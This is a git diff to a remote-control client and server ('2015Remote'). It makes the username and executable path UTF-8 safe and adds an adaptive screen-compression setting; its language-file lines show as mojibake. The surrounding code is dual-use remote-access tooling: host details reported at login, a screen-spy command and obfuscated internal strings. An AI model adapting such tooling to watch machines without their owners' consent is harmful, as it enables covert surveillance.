diff --git a/client/CursorInfo.h b/client/CursorInfo.h
index b263eee..2841848 100644
--- a/client/CursorInfo.h
+++ b/client/CursorInfo.h
@@ -11,6 +11,8 @@
 
 // ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h
 
+#define ALGORITHM_NULL "-1"
+#define ALGORITHM_NUL -1
 #define ALGORITHM_GRAY 0
 #define ALGORITHM_DIFF 1
 #define ALGORITHM_DEFAULT 1
diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp
index 3d102bd..2ae90c0 100644
--- a/client/LoginServer.cpp
+++ b/client/LoginServer.cpp
@@ -213,14 +213,18 @@ std::string GetCurrentExeVersion()
 
 std::string GetCurrentUserNameA()
 {
-    char username[256];
-    DWORD size = sizeof(username);
-
-    if (GetUserNameA(username, &size)) {
-        return std::string(username);
-    } else {
+    // 用 W 接口取宽字符再转 UTF-8，避免依赖系统 ANSI 代码页（中文账号名在英语系统上
+    // 用 GetUserNameA 取出来是 '?'，与 LOGIN_INFOR 的 CLIENT_CAP_UTF8 声明也不一致）。
+    wchar_t wname[256] = {};
+    DWORD wsize = _countof(wname);
+    if (!GetUserNameW(wname, &wsize)) {
         return "Unknown";
     }
+    char buf[256 * 3] = {};
+    if (WideCharToMultiByte(CP_UTF8, 0, wname, -1, buf, sizeof(buf), NULL, NULL) <= 0) {
+        return "Unknown";
+    }
+    return std::string(buf);
 }
 
 #define XXH_INLINE_ALL
@@ -341,9 +345,18 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
     LoginInfor.AddReserved(getOSBits());                // 系统位数
     LoginInfor.AddReserved(GetCPUCores());              // CPU核数
     LoginInfor.AddReserved(GetMemorySizeGB());          // 系统内存
+    // 路径分两份处理：
+    //   - buf  (CP_ACP):   保留给 CalcalateIDv2 / 老 CalculateID 用，保证升级后 client ID
+    //                      不变（老版客户端用的是 GetModuleFileNameA 的 CP_ACP 字节，
+    //                      若改成 UTF-8 同一物理路径会算出不同 ID，丢授权/备注）。
+    //   - utf8Path:        发给服务端的 RES_FILE_PATH，与 CLIENT_CAP_UTF8 一致。
     char buf[_MAX_PATH] = {};
-    GetModuleFileNameA(NULL, buf, sizeof(buf));
-    LoginInfor.AddReserved(buf);                        // 文件路径
+    GetModuleFileNameA(NULL, buf, sizeof(buf));   // CP_ACP, 留给 ID 计算用
+    wchar_t wbuf[_MAX_PATH] = {};
+    GetModuleFileNameW(NULL, wbuf, _MAX_PATH);
+    char utf8Path[_MAX_PATH * 3] = {};   // UTF-8 最多 3 字节/中文，给足
+    WideCharToMultiByte(CP_UTF8, 0, wbuf, -1, utf8Path, sizeof(utf8Path), NULL, NULL);
+    LoginInfor.AddReserved(utf8Path);                   // 文件路径 (UTF-8 发给服务端显示)
     LoginInfor.AddReserved("?");						// test
     std::string installTime = cfg.GetStr("settings", "install_time");
     if (installTime.empty()) {
@@ -355,7 +368,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
     LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
     std::string masterHash(skCrypt(MASTER_HASH));
     WIN32_FILE_ATTRIBUTE_DATA fileInfo;
-    GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
+    GetFileAttributesExW(wbuf, GetFileExInfoStandard, &fileInfo);
     LoginInfor.AddReserved(str.c_str());			   // 授权信息
     bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
                      strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp
index f334a32..f30ef41 100644
--- a/client/ScreenManager.cpp
+++ b/client/ScreenManager.cpp
@@ -137,7 +137,11 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
         }
     }
 
-    BOOL fixedQuality = all || algo == ALGORITHM_H264;
+    int quality = cfg.GetInt("settings", "QualityLevel", QUALITY_GOOD);
+    if (algo != (BYTE)ALGORITHM_NUL) 
+        quality = QUALITY_DISABLED;
+    Mprintf("图像传输算法: %d, 多显示器支持是否启用: %d, 屏幕质量等级: %d\n", (int)algo, all, quality);
+
     m_ScreenSettings.MaxFPS = m_nMaxFPS;
     m_ScreenSettings.CompressThread = threadNum;
     m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0);
@@ -146,7 +150,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
     m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
     m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
     m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2);  // 默认每2帧
-    m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", fixedQuality ? QUALITY_GOOD : QUALITY_ADAPTIVE);
+    m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
     m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
     m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0);  // 默认禁用音频
 
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 2f5e99f..3eb8d70 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -3902,7 +3902,23 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
             return;
         DWORD dwFileSize = 0;
         BOOL is64bit = "64" == ContextObject->GetAdditionalData(RES_PROGRAM_BITS);
-        std::filesystem::path path = ContextObject->GetAdditionalData(RES_FILE_PATH).GetString();
+        // 客户端 RES_FILE_PATH 编码取决于其能力位（新 Win/Linux/macOS 是 UTF-8）。
+        // std::filesystem::path 的 std::string 构造器把字节当本机 ANSI 解读——
+        // 直接用 UTF-8 字节会被 CP936 误解为乱码，进而 stem() / parent_path() 提取错误。
+        // 走 cap 位 → wide → wstring 构造路径，规避编码假设。
+        CString pathRaw = ContextObject->GetAdditionalData(RES_FILE_PATH);
+        std::filesystem::path path;
+        {
+            UINT cp = GetClientEncoding(ContextObject);
+            int wlen = MultiByteToWideChar(cp, 0, pathRaw, -1, NULL, 0);
+            if (wlen > 1) {
+                std::wstring wpath(wlen - 1, L'\0');
+                MultiByteToWideChar(cp, 0, pathRaw, -1, &wpath[0], wlen);
+                path = std::filesystem::path(wpath);
+            } else {
+                path = std::filesystem::path(pathRaw.GetString());
+            }
+        }
         std::string stem = path.stem().string();
         std::string dirName = path.parent_path().filename().string();
         const char* resName = dlg.m_nSelected
@@ -4046,7 +4062,7 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
         return;
     int n = THIS_CFG.GetInt("settings", "DXGI");
     BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
-    CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
+    CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
     BYTE	bToken[32] = { COMMAND_SCREEN_SPY, n, algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString()), all};
     SendSelectedCommand(bToken, sizeof(bToken), screenParamModifier, bToken);
 }
diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp
index 70986d0..cd0502f 100644
--- a/server/2015Remote/SettingDlg.cpp
+++ b/server/2015Remote/SettingDlg.cpp
@@ -17,7 +17,7 @@ CSettingDlg::CSettingDlg(CMy2015RemoteDlg* pParent)
     , m_nListenPort("6543")
     , m_nMax_Connect(0)
     , m_sScreenCapture(_T("GDI"))
-    , m_sScreenCompress(_T("RGBA->RGB565"))
+    , m_sScreenCompress(_T("算法自适应"))
     , m_nReportInterval(5)
     , m_sSoftwareDetect(_T("摄像头"))
     , m_sPublicIP(_T(""))
@@ -154,12 +154,15 @@ BOOL CSettingDlg::OnInitDialog()
 
     int DXGI = THIS_CFG.GetInt("settings", "DXGI");
 
-    CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
+    CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
 
     m_nListenPort = nPort.c_str();
 
     int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString());
     switch (n) {
+    case ALGORITHM_NUL:
+        m_sScreenCompress = _L(_T("算法自适应"));
+        break;
     case ALGORITHM_GRAY:
         m_sScreenCompress = _L(_T("灰度图像传输"));
         break;
@@ -175,10 +178,11 @@ BOOL CSettingDlg::OnInitDialog()
     default:
         break;
     }
-    m_ComboScreenCompress.InsertStringL(ALGORITHM_GRAY, "灰度图像传输");
-    m_ComboScreenCompress.InsertStringL(ALGORITHM_DIFF, "屏幕差异算法");
-    m_ComboScreenCompress.InsertStringL(ALGORITHM_H264, "H264压缩算法");
-    m_ComboScreenCompress.InsertStringL(ALGORITHM_RGB565, "RGBA->RGB565");
+    m_ComboScreenCompress.InsertStringL(1+ALGORITHM_NUL, "算法自适应");
+    m_ComboScreenCompress.InsertStringL(1+ALGORITHM_GRAY, "灰度图像传输");
+    m_ComboScreenCompress.InsertStringL(1+ALGORITHM_DIFF, "屏幕差异算法");
+    m_ComboScreenCompress.InsertStringL(1+ALGORITHM_H264, "H264压缩算法");
+    m_ComboScreenCompress.InsertStringL(1+ALGORITHM_RGB565, "RGBA->RGB565");
 
     m_ComboScreenCapture.InsertStringL(0, "GDI");
     m_ComboScreenCapture.InsertStringL(1, "DXGI");
@@ -245,7 +249,7 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
     int n = m_ComboScreenCapture.GetCurSel();
     THIS_CFG.SetInt("settings", "DXGI", n);
 
-    n = m_ComboScreenCompress.GetCurSel();
+    n = m_ComboScreenCompress.GetCurSel() - 1;
     THIS_CFG.SetInt("settings", "ScreenCompress", n);
 
     THIS_CFG.SetInt("settings", "ReportInterval", m_nReportInterval);
diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini
index f3e765a..5496284 100644
--- a/server/2015Remote/lang/en_US.ini
+++ b/server/2015Remote/lang/en_US.ini
@@ -1823,3 +1823,4 @@ IOCP
 ��ʷĿ¼������: %s=History folder not exist: %s
 �޷�ʶ��Զ������=Unknown remote machine
 û��Զ����ʷ��¼=No remote history
+�㷨����Ӧ=Algorithm Adaptive
diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini
index 660bde0..b324697 100644
--- a/server/2015Remote/lang/zh_TW.ini
+++ b/server/2015Remote/lang/zh_TW.ini
@@ -1814,3 +1814,4 @@ IOCP
 ��ʷĿ¼������: %s=��ʷĿ¼������: %s
 �޷�ʶ��Զ������=�޷�ʶ��Զ������
 û��Զ����ʷ��¼=û��Զ����ʷ��¼
+�㷨����Ӧ=�㷨����Ӧ